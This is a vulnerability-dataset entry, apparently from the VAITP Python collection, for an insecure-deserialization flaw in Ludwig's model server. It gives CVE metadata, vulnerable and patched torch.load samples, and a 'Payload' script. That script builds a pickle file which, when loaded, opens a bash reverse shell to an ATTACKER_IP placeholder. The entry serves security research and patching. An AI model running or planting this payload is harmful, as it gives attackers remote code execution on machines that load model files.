CVE-2026-31238
Insecure deserialization in Ludwig's model server allows remote code execution.
- CVSS 9.8
- CWE-502
- Input Validation and Sanitization
- Local
The Ludwig framework thru 0.10.4 is vulnerable to insecure deserialization (CWE-502) in its model serving component. When starting a model server with the ludwig serve command, the framework loads model weight files using torch.load() without enabling the security-restrictive weights_only=True parameter. This default behavior allows the deserialization of arbitrary Python objects via the pickle module. An attacker can exploit this by providing a maliciously crafted PyTorch model file, leading to arbitrary code execution on the system hosting the Ludwig model server.
- CWE
- CWE-502
- CVSS base score
- 9.8
- Published
- 2026-05-12
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Timing/Serialization
- Code defect classification
- Serialization Issues
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- Ludwig
- Fixed by upgrading
- Yes
Solution
Upgrade Ludwig to version 0.10.5 or later.
Vulnerable code sample
import torch
def load_model_for_serving(model_path: str):
"""
Simplified representation of the vulnerable model loading logic.
This function loads a model file from the given path.
"""
# The vulnerability is in the line below. By default, torch.load uses
# Python's pickle module, which is not secure against maliciously
# crafted files. The fix is to add `weights_only=True`.
model = torch.load(model_path)
# The application would then use the loaded model object.
return modelPatched code sample
import torch
import os
def load_model_safely(model_path: str):
"""
Loads model weights from a file, demonstrating the fix for
insecure deserialization.
The vulnerability existed when torch.load was called without the
weights_only=True parameter, allowing a malicious file to execute
arbitrary code.
"""
# Vulnerable call (for demonstration purposes):
# state_dict = torch.load(model_path)
# Fixed call:
# By setting weights_only=True, torch.load will safely only load tensors
# and raise an error if the file contains any other Python objects,
# mitigating the risk of arbitrary code execution.
if not os.path.exists(model_path):
raise FileNotFoundError(f"Model file not found at {model_path}")
state_dict = torch.load(model_path, weights_only=True)
return state_dict
# Example usage:
# This part would typically be part of the Ludwig model server startup logic.
# To run this example, you would need a valid PyTorch model weights file (.pt or .pth).
#
# model_file = "path/to/your/model.pt"
# try:
# print(f"Safely loading model weights from {model_file}...")
# weights = load_model_safely(model_file)
# print("Model weights loaded successfully.")
# # The server would then proceed to load these weights into a model.
# except (FileNotFoundError, RuntimeError) as e:
# print(f"Error loading model: {e}")Payload
import torch
import os
class Exploit:
def __reduce__(self):
# Replace ATTACKER_IP and ATTACKER_PORT with the attacker's listening IP and port.
command = "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1'"
return (os.system, (command,))
# This script generates the malicious model file.
# The victim server would then load this file, triggering the exploit.
torch.save(Exploit(), 'malicious_model.pt')
Cite this entry
@misc{vaitp:cve202631238,
title = {{Insecure deserialization in Ludwig's model server allows remote code execution.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-31238},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-31238/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
